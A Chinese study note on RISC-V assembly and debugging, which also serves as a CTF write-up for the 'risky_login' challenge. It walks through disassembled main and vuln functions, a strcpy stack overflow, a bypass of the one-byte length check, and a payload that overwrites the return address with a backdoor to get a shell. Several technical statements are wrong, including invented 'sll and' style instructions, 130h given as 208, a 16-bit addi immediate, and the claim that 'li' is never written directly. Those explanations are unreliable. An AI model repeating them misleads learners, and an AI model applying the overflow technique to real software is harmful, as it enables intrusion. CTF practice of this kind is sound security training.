RISC-V PWN学习
其他架构PWN学习记录 - This article is part of a series.
本文是一篇RISC-V PWN的学习记录,同时也是羊城杯2023 risky_login一题的wp.
前言 #
这个周末刚打完的羊城杯的第一题risky_login是一道漏洞比较简单的RISC-V架构的基础题,可以借这道题熟悉一下RISC-V架构,扩展一下知识面。
以下我将结合这道题记录一下我的RISC-V基础知识的学习
(wp在文章的最后)
RISC-V基础 #
RISC-V64 pwn题,与常见的X86架构和ARM架构不太一样
- 目前市场上主流的芯片架构有 X86、ARM、RISC-V和MIPS四种
- RISC-V 架构是基于 精简指令集计算(RISC)原理建立的开放 指令集架构(ISA),RISC-V是在指令集不断发展和成熟的基础上建立的全新指令
- 实际上,ARM、MIPS都是采取 精简指令集(RISC)的处理器架构,基于RISC原理建立
- 经改进,这种架构可支持高级语言的优化执行。其算术和逻辑运算采用三个操作数的形式,允许编译器优化复杂的表达式
安装Ghidra #
我们将二进制拖进IDA中,可以看到汇编指令确实和我们常见的X86不太一样,按一下F5或是Tab键,我们还发现IDA不能将RISC-V架构的二进制文件转成伪代码,所以我们考虑安装下载另一个强大的反编译工具: Ghidra
安装方式可以参考官方:
To install an official pre-built multi-platform Ghidra release:
- Install JDK 17 64-bit
- Download a Ghidra release file
- Extract the Ghidra release file
- Launch Ghidra:
./ghidraRun
(orghidraRun.bat
for Windows)
安装好了就可以用ghidra打开二进制文件来查看伪代码了,
比如这个后门函数:
当然这个程序不会很复杂,所以直接看IDA的汇编代码也是完全可以的
寄存器学习 #
先放几个,之后慢慢补(鸽)
x86下的一些寄存器复习:
除了ESP寄存器,x86架构还有其他与栈相关的寄存器:
- ESP(Extended Stack Pointer)是 栈指针寄存器,用于指示当前栈顶的地址
- 即栈的生长方向向下时,ESP存储的是栈顶元素的地址
- 当函数进行调用时,该寄存器会被修改,使其指向分配给该函数的新栈帧的顶部。
- 在函数返回时,栈上的数据会被弹出,同时ESP的值会恢复到调用该函数之前的状态,以指向上一个栈帧的顶部。
- EBP(Extended Base Pointer)是 帧指针寄存器,用于指示当前函数堆栈帧的起始地址。
- ESI(Source Index)和EDI(Destination Index)寄存器常用于字符串操作,其中ESI通常用于读取源数据,EDI用于写入目标数据。
RISC-V的 sp 寄存器
- 与x86的栈指针 esp/rsp 寄存器类似
- RISC-V的sp寄存器(Stack Pointer)用于指示栈的位置,它存储当前栈顶的地址
- x86架构中,ESP寄存器(Extended Stack Pointer)也用于指示栈的位置,它存储当前栈顶的地址。
RISC-V的 fp 寄存器
- 与x86的帧指针 ebp/rbp 寄存器类似
- RISC-V的fp寄存器(Frame Pointer)用于指示函数堆栈帧的起始地址。
- x86架构中,EBP寄存器(Base Pointer)也用于指示函数堆栈帧的起始地址
RISC-V的 s0 寄存器
- s0寄存器通常用于保存临时数据和中间计算结果,并且在函数调用和返回过程中可能会被修改
- 作为通用寄存器,s0寄存器没有固定的特殊作用,而是根据编程的需要来使用。
- 在函数调用中,s0寄存器可用于保存临时变量、函数参数或其他需要暂存的数据。
- 例如,可以使用s0寄存器来存储函数内的局部变量或进行运算的中间结果。
- 在RISC-V的编程约定中,通常将s0寄存器用作临时寄存器,在函数调用过程中可以被随时修改。
- 而真正用于栈指针功能的寄存器是sp寄存器,它用于指示栈的位置和管理函数调用过程中的内存分配。
RISC-V的 pc 寄存器
- pc(Program Counter)存储当前指令的地址,
- 类似于x86的 EIP 寄存器(Extended Instruction Pointer)
RISC-V的其他寄存器
- RISC-V的 x1-x31 寄存器,也称为x0-x31,用于存储通用数据,类似于x86的寄存器AX,BX,CX等
- RISC-V的 x0 寄存器常被约定为零寄存器,并且不可被写入,类似于x86的寄存器 EAX 中的零标志
- RISC-V的浮点寄存器 f0-f31 用于存储浮点数,类似于x86的 XMM0-XMM15 寄存器
汇编指令学习 #
简单了解一些RSIC-V指令:
加法指令(add):
add x1, x2, x3 # 将x2和x3寄存器中的值相加,结果保存在x1寄存器
add x4, x5, x6 # 将x5和x6寄存器中的值相加,结果保存在x4寄存器
加载指令(lw):
lw x2, 0(x3) # 将位于内存地址x3的字中的内容加载到x2寄存器
lw x4, 4(x5) # 将位于内存地址x5+4的字中的内容加载到x4寄存器
减法指令(sub):
sub x1, x2, x3 # 将x3寄存器中的值从x2寄存器中减去,结果保存在x1寄存器
sub x4, x5, x6 # 将x6寄存器中的值从x5寄存器中减去,结果保存在x4寄存器
存储指令(sw):
sw x2, 0(x3) # 将x2寄存器中的内容存储到内存地址x3的字中
sw x4, 4(x5) # 将x4寄存器中的内容存储到内存地址x5+4的字中
加载指令 #
先复习一下什么是零扩展:
零扩展(Zero Extension)是一种数据扩展操作,用于将低位数据的符号位补齐为零,将较小的数据类型(如字节或半字)扩展为较大的数据类型(如字或双字)。在零扩展中,符号位不会影响数值的扩展结果,只是简单地用零填充高位。
- 在x86和x64指令集中,movzx指令 就是 零扩展移动
- 例如:
movzx ebx,al
将一个字节从al寄存器复制到ebx的低位字节,然后用零填充ebx的其余字节。
- 例如:
- 在x64上,大多数写入任何通用寄存器的低32位的指令都会将目标寄存器的高一半置零。
- 例如,指令
mov eax,1234
将清除rax寄存器的高32位。
- 例如,指令
- 简而言之,零扩展就是如果位数不够时,直接在高位补零
- 原来的无符号数字的值保持不变
- 但是原来的有符号数字的值就发生了改变
举个例子:假设我们有一个8位的二进制数:0110 1011
。
它代表一个无符号的整数107和一个有符号的整数-37(当使用二进制补码表示法时)。
如果我们进行零扩展将其扩展为16位,那么符号位之后的所有位将填充为零,如下所示:
0000 0000 0110 1011
可以看到,高8位都被填充为零,原始的8位数据在低位保持不变。
这样,我们将8位数据零扩展为16位数据,使得原始数据在更大数据类型中占据了相同的位置,而不会改变无符号数字的数值本身。
当然,有符号数字的数值就发生了改变。
再来看看符号扩展:
符号扩展(Sign Extension)是一种数据扩展操作,用于将较小的数据类型(如字节或半字)扩展为较大的有符号数据类型(如字或双字)。在符号扩展中,通过复制原始数据的最高有效位(符号位)来填充高位,以保持数值的有符号性质。
简而言之,符号扩展就是如果位数不够时,直接在高位补原来的符号位的值
- 原来的有符号数字的值保持不变
- 但是原来的无符号数字的值就发生了改变
例如,假设我们有一个8位的二进制数:1101 0011
。它代表一个有符号的补码整数-45。
如果我们进行符号扩展将其扩展为16位,那么符号位会被复制填充到高位,如下所示:
1111 1111 1101 0011
可以看到,高8位都被填充为原始符号位的值,即1。这样,我们将8位数据符号扩展为16位数据,保留了原始数据的有符号特征。
lb(加载字节):
- 功能:从内存中加载一个字节(8位),进行有符号扩展,并存储到目标寄存器中。
- 注意:如果加载的对应地址的数据大于一字节(8位),就会造成数据丢失,是一个有漏洞的危险指令
- 可以用来绕过一些检测,如在对一个数加载一个字节之后再进行比较,我们可以使其后8位满足条件绕过检测
- 语法:lb rd, rs1, imm
- rd:目标寄存器,存储加载的数据
- rs1:源寄存器,用于计算内存地址
- imm:立即数偏移量,与rs1相加得到内存地址
lb x10, x2, 4 # 从内存地址(x2+4)处加载一个字节数据到x10,并进行有符号扩展
lh(加载半字):
- 功能:从内存中加载一个半字(16位),进行有符号扩展,并存储到目标寄存器中。
- 注意:如果加载的对应地址的数据大于一个半字(16位),就会造成数据丢失,是一个有漏洞的危险指令
- 语法:lh rd, rs1, imm
- rd:目标寄存器,存储加载的数据
- rs1:源寄存器,用于计算内存地址
- imm:立即数偏移量,与rs1相加得到内存地址
lh x5, x9, -8 # 从内存地址(x9-8)处加载一个半字数据到x5,并进行有符号扩展
lw(加载字):
- 功能:从内存中加载一个字(32位),并存储到目标寄存器中
- 注意:如果加载的对应地址的数据大于一个字(32位),就会造成数据丢失,是一个有漏洞的危险指令
- 语法:lw rd, rs1, imm
- rd:目标寄存器,存储加载的数据
- rs1:源寄存器,用于计算内存地址
- imm:立即数偏移量,与rs1相加得到内存地址
x8lw x8, x3, 16 # 从内存地址(x3+16)处加载一个字数据到x8
ld(加载双字):
- 功能:从内存中加载一个双字(64位),并存储到目标寄存器中
- 语法:ld rd, rs1, imm
- rd:目标寄存器,存储加载的数据
- rs1:源寄存器,用于计算内存地址
- imm:立即数偏移量,与rs1相加得到内存地址
ld x11, x6, -24 # 从内存地址(x6-24)处加载一个双字数据到x11
lbu(加载字节无符号整数):
- 功能:从内存中加载一个字节(8位)无符号整数,并进行零扩展后存储到目标寄存器中。
- 语法:lbu rd, rs1, imm
- rd:目标寄存器,存储加载的数据
- rs1:源寄存器,用于计算内存地址
- imm:立即数偏移量,与rs1相加得到内存地址
lbu x4, x7, 8 # 从内存地址(x7+8)处加载一个字节无符号整数到x4,并进行零扩展
逻辑与移位指令 #
逻辑与指令(and):
and x1, x2, x3 # 对x2和x3寄存器中的值进行逻辑与操作,结果保存在x1寄存器
逻辑或指令(or):
or x1, x2, x3 # 对x2和x3寄存器中的值进行逻辑或操作,结果保存在x1寄存器
或指令(xor):
xor x1, x2, x3 # 对x2和x3寄存器中的值进行异或操作(逻辑异或),结果保存在x1寄存器
逻辑与非指令(andn):
andn x1, x2, x3 # 对x2和x3寄存器中的值进行逻辑与非操作,结果保存在x1寄存器
逻辑或非指令(orn):
orn x1, x2, x3 # 对x2和x3寄存器中的值进行逻辑或非操作,结果保存在x1寄存器
左移指令(sll):
sll x1, x2, x3 # 将寄存器x2的值左移x3位,结果保存在寄存器x1中
右移指令(srl):
srl x1, x2, x3 # 将寄存器x2的值右移x3位(逻辑右移),结果保存在寄存器x1中
算术右移指令(sra):
sra x1, x2, x3 # 将寄存器x2的值右移x3位(算术右移),结果保存在寄存器x1中
左移扩展指令(slli):
slli x1, x2, 4 # 将寄存器x2的值左移4位,结果保存在寄存器x1中,同时补齐低位的0
右移扩展指令(srli):
srli x1, x2, 4 # 将寄存器x2的值右移4位(逻辑右移),结果保存在寄存器x1中,同时补齐高位的
循环左移指令(rol):
rol x1, x2, x3 # 将x2寄存器中的值循环左移x3位,结果保存在x1寄存器
循环右移指令(ror):
ror x1, x2, x3 # 将x2寄存器中的值循环右移x3位,结果保存在x1寄存器
移位左逻辑和指令(sll and):
sll and x1, x2, x3
# 对x2寄存器中的值左移x3位,
# 然后与x1寄存器中的值进行逻辑与操作,
# 结果保存在x1寄存器
移位右逻辑和指令(srl and):
srl and x1, x2, x3
# 对x2寄存器中的值右移x3位,
# 然后与x1寄存器中的值进行逻辑与操作,
# 结果保存在x1寄存器
移位右算术和指令(sra and):
sra and x1, x2, x3
# 对x2寄存器中的值右移x3位(算术右移),
# 然后与x1寄存器中的值进行逻辑与操作,
# 结果保存在x1寄存器
跳转指令(jal):
jal x1, label # 跳转到标签为"label"的指令,并将返回地址保存在x1寄存器
jal x2, label2 # 跳转到标签为"label2"的指令,并将返回地址保存在x2寄存器
比较指令(slt):
slt x1, x2, x3 # 如果x2寄存器中的值小于x3寄存器中的值,则将x1寄存器置为1,否则置为0
slt x4, x5, x6 # 如果x5寄存器中的值小于x6寄存器中的值,则将x4寄存器置为1,否则置为0
条件分支指令 #
相等条件分支(beq):
beq x1, x2, label # 如果x1和x2寄存器中的值相等,则跳转到标签为"label"的指令
不相等条件分支(bne):
bne x1, x2, label # 如果x1和x2寄存器中的值不相等,则跳转到标签为"label"的指令
小于条件分支(blt):
blt x1, x2, label # 如果x1寄存器中的值小于x2寄存器中的值,则跳转到标签为"label"的指令
小于等于条件分支(ble):
ble x1, x2, label # 如果x1寄存器中的值小于等于x2寄存器中的值,则跳转到标签为"label"的指令
大于条件分支(bgt):
bgt x1, x2, label # 如果x1寄存器中的值
下表给出了一系列伪指令及其依赖的真实的处理器物理指令(这些伪指令都依赖于x0寄存器,从中可以看到x0寄存器的作用:
下表是另外一些伪指令及其被汇编之后的物理指令:
本题中出现的部分指令复习:
addi sp, sp, -130h
// 将栈指针 sp 加上 -130h字节,并将结果存储回sp中
sub rd, rs1, rs2
// 将寄存器rs2的值从寄存器rs1中减去,并将结果存储在目标寄存器rd中。
load rd, rs1, offset
// 从rs1加上偏移量offset所得到的内存地址中加载数据,并将数据存储在目标寄存器rd中。
store rs1, rs2, offset
// 将寄存器rs2中的数据存储到rs1加上偏移量offset所得到的内存地址中。
sd rs, offset(base)
// base+offset = rs, 可以理解为"send"
sd ra, 120h+var_s8(sp)
// 将返回地址 ra 保存到栈帧中偏移为 120h+var_s8 的位置
jump jalr rd, offset(rs1)
// 将当前程序地址存储在寄存器rd中,并无条件跳转到rs1加上偏移量offset所得到的地址中。
shift sll rd, rs1, rs2
// 将寄存器rs1的值左移rs2位,并将结果存储在目标寄存器rd中。
指令详解: #
先放几个,之后慢慢补(鸽)
addi #
addi
是RISC-V汇编指令中的一条整数加法指令,用于将一个立即数与源寄存器的值相加,并将结果存储到目标寄存器中。
该指令的语法如下:
addi rd, rs, immediate
其中,rd
是目标寄存器,用于保存运算结果;rs
是源寄存器,包含要参与加法运算的值;immediate
是一个 16 位立即数,表示要与 rs
寄存器的值相加的常数。
具体的操作步骤如下:
- 从源寄存器
rs
中获取要参与加法运算的值。 - 将立即数
immediate
进行有符号扩展,得到一个 32 位的常数。 - 将
rs
寄存器的值与常数相加。 - 将相加的结果存储到目标寄存器
rd
中。
需要注意的是,addi
指令执行加法操作时,没有进位产生,且不会修改条件码寄存器。此外,由于立即数是 16 位有符号数,因此其范围为 -32768 到 32767。如果加法结果溢出了这个范围,可能会导致错误的结果。
sd #
sd
是 RISC-V 汇编指令中的一条存储指令,用于将一个 64 位(8 字节)的值存储到内存中。
该指令的语法如下:
sd rs, offset(base)
其中,rs
是源寄存器,包含要写入内存的数据;offset
是基址寄存器 base
的偏移量,表示存储位置相对于 base
寄存器的位移。
具体的操作步骤如下:
- 从寄存器
rs
中获取要存储的 64 位数据。 - 计算存储位置的地址,通过将基址寄存器
base
中的值与偏移量offset
相加得到。 - 将 64 位数据写入计算出的存储位置,即将数据存储到内存中。
需要注意的是,sd
指令要求存储位置的地址必须是 8 字节对齐的(地址是 8 的倍数),否则可能会导致运行时错误。
li #
在 RISC-V 汇编中,li
并不是一条单独的指令,而是一种伪指令(pseudo-instruction)。li
是一个常用的伪指令,它被用来加载一个立即数到寄存器中。由于RISC-V指令集的设计,无法直接将一个立即数加载到一个寄存器中。“li"指令会被汇编器转化为一系列指令来实现加载立即数的功能。
以下是一个常见的用法:
li rd, imm
- rd为目标寄存器,用于存储立即数。
- imm为要加载的立即数。
一般来说,“li"指令会被转化为以下两条指令来实现立即数加载:
lui rd, upper
addi rd, rd, lower
- lui指令将常数的高位部分放入目标寄存器rd中。
- addi指令将常数的低位部分与目标寄存器rd相加,并将结果存回目标寄存器rd中。
举例来说,如果要将立即数123加载到寄存器x5中,可以使用以下指令序列来实现:
lui x5, %hi(123)
addi x5, x5, %lo(123)
其中,%hi(123)表示获取123的高位部分,%lo(123)表示获取123的低位部分。
请注意,“li"指令是一个伪指令,由汇编器在编译时转化为真正的指令,所以在实际的RISC-V汇编语言中,我们不会直接使用"li"指令。
如何调试riscv64程序 #
安装qemu #
# 先把对应的库下载好:
sudo apt install libc6-riscv64-cross
sudo apt install binutils-riscv64-linux-gnu
sudo apt install gcc-riscv64-linux-gnu
sudo apt install binutils-riscv64-unknown-elf
sudo apt install gcc-riscv64-unknown-elf
sudo apt install qemu-system-misc
sudo apt install qemu-user
# 运行一下:
qemu-riscv64 pwn
# 如果出现以下报错:
qemu-riscv64: could not open ''/lib/ld-linux-riscv64-lp64d.so.1'
#说明我们文件下载的地方和查找的地方不一样,只要把文件cp一下就可以了
sudo cp /usr/riscv64-linux-gnu/lib/* /lib/
安装gdb-multiarch #
# 安装
sudo apt-get install gdb-multiarch
# 检测
gdb-multiarch -v
题目分析 #
main函数汇编分析 #
如何在纯汇编下找到main函数呢?
点进程序的入口函数——start函数,我们可以看到他调用了一个函数
.text:0000000012345606 17 05 00 00 13 05 45 1E la a0, sub_123457EA
右键或快捷键"n"重命名为 main:
题目中的main的汇编代码如下:(copy自IDA)
# 原来是sub_123457EA函数,重命名为main函数
.text:00000000123457EA
.text:00000000123457EA # int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000123457EA main: # DATA XREF: start+6↑o
.text:00000000123457EA
.text:00000000123457EA var_s0= 0
.text:00000000123457EA var_s8= 8
.text:00000000123457EA arg_0= 10h
.text:00000000123457EA
.text:00000000123457EA 69 71 addi sp, sp, -130h
.text:00000000123457EC 06 F6 sd ra, 120h+var_s8(sp)
.text:00000000123457EE 22 F2 sd s0, 120h+var_s0(sp)
.text:00000000123457F0 00 1A addi s0, sp, 120h+arg_0
.text:00000000123457F2 EF F0 FF EA jal sub_123456A0
.text:00000000123457F2
.text:00000000123457F6 B7 67 34 12 lui a5, 12346h
.text:00000000123457FA 13 85 07 8F addi a0, a5, -710h
.text:00000000123457FE 97 B0 CC ED E7 80 20 FA call puts
.text:00000000123457FE
.text:0000000012345806 B7 67 34 12 lui a5, 12346h
.text:000000001234580A 13 85 87 90 addi a0, a5, -6F8h
.text:000000001234580E 97 B0 CC ED E7 80 20 F9 call puts
.text:000000001234580E
.text:0000000012345816 21 46 li a2, 8
.text:0000000012345818 93 85 81 87 la a1, unk_12347078
.text:000000001234581C 01 45 li a0, 0
.text:000000001234581E 97 B0 CC ED E7 80 20 F6 call read
.text:000000001234581E
.text:0000000012345826 93 85 81 87 la a1, unk_12347078
.text:000000001234582A B7 67 34 12 lui a5, 12346h
.text:000000001234582E 13 85 87 91 addi a0, a5, -6E8h
.text:0000000012345832 97 B0 CC ED E7 80 E0 F9 call printf
.text:0000000012345832
.text:000000001234583A B7 67 34 12 lui a5, 12346h
.text:000000001234583E 13 85 87 92 addi a0, a5, -6D8h
.text:0000000012345842 97 B0 CC ED E7 80 E0 F5 call puts
.text:0000000012345842
.text:000000001234584A 93 07 04 ED addi a5, s0, -130h
.text:000000001234584E 13 06 00 12 li a2, 120h
.text:0000000012345852 BE 85 mv a1, a5
.text:0000000012345854 01 45 li a0, 0
.text:0000000012345856 97 B0 CC ED E7 80 A0 F2 call read
.text:0000000012345856
.text:000000001234585E 93 07 04 ED addi a5, s0, -130h
.text:0000000012345862 3E 85 mv a0, a5
.text:0000000012345864 EF F0 3F F2 jal vuln
.text:0000000012345864
.text:0000000012345868 B7 67 34 12 lui a5, 12346h
.text:000000001234586C 13 85 87 93 addi a0, a5, -6C8h
.text:0000000012345870 97 B0 CC ED E7 80 00 F3 call puts
.text:0000000012345870
.text:0000000012345878 81 47 li a5, 0
.text:000000001234587A 3E 85 mv a0, a5
.text:000000001234587C B2 70 ld ra, 120h+var_s8(sp)
.text:000000001234587E 12 74 ld s0, 120h+var_s0(sp)
.text:0000000012345880 55 61 addi sp, sp, 130h
.text:0000000012345882 82 80 ret
.text:0000000012345882
.text:0000000012345882 # End of function main
对每行代码的简要分析:
-
addi sp, sp, -130h
:将栈指针 sp 减少 130h(表示208)字节,为栈帧分配空间。 -
sd ra, 120h+var_s8(sp)
:将返回地址 ra 保存到栈帧中偏移为 120h+var_s8 的位置。 -
sd s0, 120h+var_s0(sp)
:将寄存器 s0 保存到栈帧中偏移为 120h+var_s0 的位置。 -
addi s0, sp, 120h+arg_0
:计算参数 arg_0 在栈帧中的地址,并将结果存入寄存器 s0。 -
jal sub_123456A0
:无条件跳转到子函数 sub_123456A0 执行,并将返回地址保存到寄存器 ra- 跳转到了一个新的函数
- 嗯,让我们继续转到main函数的汇编进行分析
-
lui a5, 12346h
:将常数 12346h 的高 20 位加载到寄存器 a5。 -
addi a0, a5, -710h
:将寄存器 a5 减去 710h 并将结果存入寄存器 a0。- 通过计算得知a0寄存器的值为0x123458F0
- 在IDA中查找地址0x123458F0可以看到是一个字符串,当然在分析汇编语言之前我们就已经shift+F12知道了有哪些字符串了(对吧师傅们)
-
call puts
:调用函数 puts,将参数传递给它-
puts("RiskY LoG1N SySTem");
-
-
addi a0, a5, -6F8h
:类似于上述步骤,将寄存器 a5 减去 6F8h 并将结果存入寄存器 a0。 -
call puts
:再次调用函数 puts-
puts("Input ur name:")
-
-
li a2, 8
:将常数 8 加载到寄存器 a2。 -
la a1, unk_12347078
:将未知地址 unk_12347078 加载到寄存器 a1。 -
li a0, 0
:将常数 0 加载到寄存器 a0。 -
call read
:调用函数 read,读取输入并将结果存储在指定位置。 -
la a1, unk_12347078
:类似于步骤 12,将未知地址 unk_12347078 加载到寄存器 a1-
read(0,&unk_12347078,8);
-
-
addi a0, a5, -6E8h
:类似于步骤 9,将寄存器 a5 减去 6E8h 并将结果存入寄存器 a0。 -
call printf
:调用函数 printf,并传递参数-
printf("Hello, %s",&unk_12347078);
-
-
lui a5, 12346h
:类似于步骤 6,将常数 12346h 的高 20 位加载到寄存器 a5。 -
addi a0, a5, -6D8h
:类似于步骤 9,将寄存器 a5 减去 6D8h 并将结果存入寄存器 a0。 -
call puts
:再次调用函数 puts-
puts("Input ur words");
-
-
addi a5, s0, -130h
:计算栈帧中变量 s0 的地址,加上 -130h 并将结果保存到寄存器 a5。 -
li a2, 120h
:将常数 120h 加载到寄存器 a2- 第三个参数为0x120
-
mv a1, a5
:将寄存器 a5 的值移动到寄存器 a1- 第二个参数为栈上的地址: auStack-130(随便写的,知道在栈上就OK了)
-
li a0, 0
:将常数 0 加载到寄存器 a0- 第一个参数为0
-
call read
:再次调用函数 read,读取输入并将结果存储在指定位置-
read(0,auStack_130,0x120)
-
-
addi a5, s0, -130h
:类似于步骤 21,计算栈帧中变量 s0 的地址,并将结果保存到寄存器 a5。 -
mv a0, a5
:将寄存器 a5 的值移动到寄存器 a0。 -
jal vuln
:调用函数 vuln- 跳转到了一个新的函数!
- 即重名前的 sub_12345786 函数
- 有调用puts函数和危险函数strcpy,看起来应该是一个有用的函数,mark一下,重命名为vuln,待会回来
-
lui a5, 12346h
:类似于步骤 6,将常数 12346h 的高 20 位加载到寄存器 a5。 -
addi a0, a5, -6C8h
:类似于步骤 9,将寄存器 a5 减去 6C8h 并将结果存入寄存器 a0。 -
call puts
:再次调用函数 puts。 -
li a5, 0
:将常数 0 加载到寄存器 a5。 -
mv a0, a5
:将寄存器 a5 的值移动到寄存器 a0。 -
ld ra, 120h+var_s8(sp)
:将栈帧中偏移为 120h+var_s8 的位置的值加载到寄存器 ra。 -
ld s0, 120h+var_s0(sp)
:将栈帧中偏移为 120h+var_s0 的位置的值加载到寄存器 s0。 -
addi sp, sp, 130h
:将栈指针 sp 增加 130h(表示208)字节,释放栈帧空间。 -
ret
:与X86的ret指令一样,pop rip,使函数执行栈中下一个地址所指向的代码 -
end 结束对main函数的汇编分析
- 其实我们不需要从头到尾都分析完,本题可以通过字符串的内容猜到漏洞点所在的函数vuln的地址以及后面函数的地址
- 不过刚开始接触RISC-V架构的题目多看看汇编代码也是好的~
- (其实是我自己想读一读汇编代码,所以做一下记录)
- 后面的vuln函数和后门函数的汇编代码就不这么仔细的分析了,直接贴汇编代码永伪代码分析好了()
补一个Ghidra反编译的伪代码:
undefined8 main(void)
{
undefined auStack_130 [288];
gp = &__global_pointer$;
FUN_123456a0();
puts("RiskY LoG1N SySTem");
puts("Input ur name:");
read(0,&DAT_12347078,8);
printf("Hello, %s");
puts("Input ur words");
read(0,auStack_130,0x120);
vuln(auStack_130);
puts("message received");
return 0;
}
vuln函数分析 #
先贴个汇编代码:
# 原来是sub_12345786函数,重命名为vuln函数
.text:0000000012345786 vuln: # CODE XREF: main+7A↓p
.text:0000000012345786
.text:0000000012345786 var_s0= 0
.text:0000000012345786 var_s8= 8
.text:0000000012345786 arg_0= 10h
.text:0000000012345786
.text:0000000012345786 2D 71 addi sp, sp, -120h
.text:0000000012345788 06 EE sd ra, 110h+var_s8(sp)
.text:000000001234578A 22 EA sd s0, 110h+var_s0(sp)
.text:000000001234578C 00 12 addi s0, sp, 110h+arg_0
.text:000000001234578E 23 34 A4 EE sd a0, -118h(s0)
.text:0000000012345792 03 35 84 EE ld a0, -118h(s0)
.text:0000000012345796 97 B0 CC ED E7 80 A0 FD call strlen
.text:0000000012345796
.text:000000001234579E AA 87 mv a5, a0
.text:00000000123457A0 13 F7 F7 0F andi a4, a5, 0FFh
.text:00000000123457A4 23 88 E1 86 sb a4, byte_12347070
.text:00000000123457A8 83 C7 01 87 lbu a5, byte_12347070
.text:00000000123457AC 3E 87 mv a4, a5
.text:00000000123457AE A1 47 li a5, 8
.text:00000000123457B0 63 FF E7 00 bgeu a5, a4, loc_123457CE
.text:00000000123457B0
.text:00000000123457B4 B7 67 34 12 lui a5, 12346h
.text:00000000123457B8 13 85 07 8E addi a0, a5, -720h
.text:00000000123457BC 97 B0 CC ED E7 80 40 FE call puts
.text:00000000123457BC
.text:00000000123457C4 7D 55 li a0, -1
.text:00000000123457C6 97 B0 CC ED E7 80 A0 FF call exit
.text:00000000123457C6
.text:00000000123457CE # ---------------------------------------------------------------------------
.text:00000000123457CE
.text:00000000123457CE loc_123457CE: # CODE XREF: vuln+2A↑j
.text:00000000123457CE 93 07 84 EF addi a5, s0, -108h
.text:00000000123457D2 83 35 84 EE ld a1, -118h(s0)
.text:00000000123457D6 3E 85 mv a0, a5
.text:00000000123457D8 97 B0 CC ED E7 80 80 FB call strcpy
.text:00000000123457D8
.text:00000000123457E0 01 00 nop
.text:00000000123457E2 F2 60 ld ra, 110h+var_s8(sp)
.text:00000000123457E4 52 64 ld s0, 110h+var_s0(sp)
.text:00000000123457E6 15 61 addi sp, sp, 120h
.text:00000000123457E8 82 80 ret
.text:00000000123457E8
.text:00000000123457E8 # End of function vuln
伪代码及简要分析:
void vuln(char *param_1)
{
size_t sVar1;
char acStack_108 [248]; //大小为0xF8 = 0x100-0x8
gp = &__global_pointer$;
sVar1 = strlen(param_1);
DAT_12347070 = (byte)sVar1;
if (8 < DAT_12347070) // 一个检测,需要绕过
{
puts("too long.");
/* WARNING: Subroutine does not return */
/* 子程序没有返回的警告,可以不用管 */
exit(-1);
}
strcpy(acStack_108,param_1);
// 危险函数strcpy,如果param_1大于0x100就会造成栈溢出
return;
}
- 在main 函数中我们可以向 auStack_130 写入大小为 0x120 的数据,
- 在 vuln 函数中只要我们绕过检测,就可以将将 auStack_130 中内容复制到 acStack_108 位置,
- 而 acStack_108 大小只有0xF8,故可以栈溢出,
- 栈溢出时将返回地址覆盖为后门函数的地址,就可以getshell了
如何绕过检测?
我们先来看看这个分支函数的汇编代码:
# IDA中的汇编代码
.text:000000001234579E AA 87 mv a5, a0
.text:00000000123457A0 13 F7 F7 0F andi a4, a5, 0FFh
.text:00000000123457A4 23 88 E1 86 sb a4, byte_12347070
.text:00000000123457A8 83 C7 01 87 lbu a5, byte_12347070
.text:00000000123457AC 3E 87 mv a4, a5
.text:00000000123457AE A1 47 li a5, 8
.text:00000000123457B0 63 FF E7 00 bgeu a5, a4, loc_123457CE
# Ghidra中的汇编代码
1234579e aa 87 c.mv a5,a0
123457a0 13 f7 f7 0f andi a4,a5,0xff
123457a4 23 88 e1 86 sb a4,-0x790 (gp=>DAT_12347070 ) = ??
123457a8 83 c7 01 87 lbu a5,-0x790 (gp=>DAT_12347070 ) = ??
123457ac 3e 87 c.mv a4,a5
123457ae a1 47 c.li a5,0x8
123457b0 63 ff e7 00 bgeu a5,a4,LAB_123457ce
# Ghidra 中的c.mv指令及我们上面学到的mv指令, c.li指令同理
-
我们可以看到,程序比较的时候是先通过
mv a5, a0
指令将我们的strlen函数的返回值转存至r5寄存器 -
再通过指令
andi a4, a5, 0FFh
将我们的字符串长度的值与立即数0xFF进行按位与- 只保留最低的 8 位,并将结果存储到 a4
- 这里就已发生了数据丢失了
-
sb
指令将寄存器 a4 中的数据存储到内存地址 byte_12347070 处- 只是将 a4 的最低有效字节(8 位)存储到给定的内存地址
-
lbu
指令将 byte_12347070 地址处的字节数据加载到寄存器 a5 中- 由于使用 lbu 指令,加载的字节数据会进行零扩展,即高位会填充零
-
故伪代码为
DAT_12347070 = (byte)sVar1;
- byte 类型的 DAT_1234797 的数值只有8 位
-
汇编代码
bgeu a5,a4,LAB_123457ce
即 伪代码if (8 < DAT_12347070)
-
param_1 即我们之前输入的数据 auStack_130 的长度最大为 9 位
- (0x120 = 0b 0001 0010 0000)
-
要想绕过检测,长度的后8位必须小于等于 0b 0000 1000
-
同时,acStack_108的大小为0x100-0x8,所以我们的填充字符padding为0x100-0x8+0x8(覆盖帧指针寄存器)
-
strcpy(acStack_108,param_1); // 危险函数strcpy,如果param_1大于0x100就会造成栈溢出
-
-
在加上我们要覆盖返回地址的0x08大小的数据,总的payload长度为0x108
- 二进制码为0b 1 0000 1000
- 后8位刚好等于0x8,成功绕过
- 如果不刚好的话我们也可以试试看覆盖返回地址能否只发送0x6位的数据,有时甚至可以只发送0x1位的数据,这些都是十分灵活的
-
-
所以,我们的
payload = b"a" * 0x100 + p64(backdoor_addr)
- offset = 0x100
- padding = b"a” * offset
后门函数分析 #
# 后门函数在IDA中不会显示为函数(可能是因为没有别的函数调用它),
# 但是在Ghidra中会把它显示为FUN_123456ee函数,所以两个软件一起用还是非常nice的
.text:00000000123456EE # ---------------------------------------------------------------------------
.text:00000000123456EE 41 11 addi sp, sp, -10h
.text:00000000123456F0 06 E4 sd ra, 8(sp)
.text:00000000123456F2 22 E0 sd s0, 0(sp)
.text:00000000123456F4 00 08 addi s0, sp, 10h
.text:00000000123456F6 B7 67 34 12 lui a5, 12346h
.text:00000000123456FA 13 85 07 89 addi a0, a5, -770h
.text:00000000123456FE 97 B0 CC ED E7 80 20 0A call puts
.text:00000000123456FE
.text:0000000012345706 B7 67 34 12 lui a5, 12346h
.text:000000001234570A 13 85 87 8A addi a0, a5, -758h
.text:000000001234570E 97 B0 CC ED E7 80 20 09 call puts
.text:000000001234570E
.text:0000000012345716 21 46 li a2, 8
.text:0000000012345718 93 85 81 87 la a1, unk_12347078
.text:000000001234571C 01 45 li a0, 0
.text:000000001234571E 97 B0 CC ED E7 80 20 06 call read
.text:000000001234571E
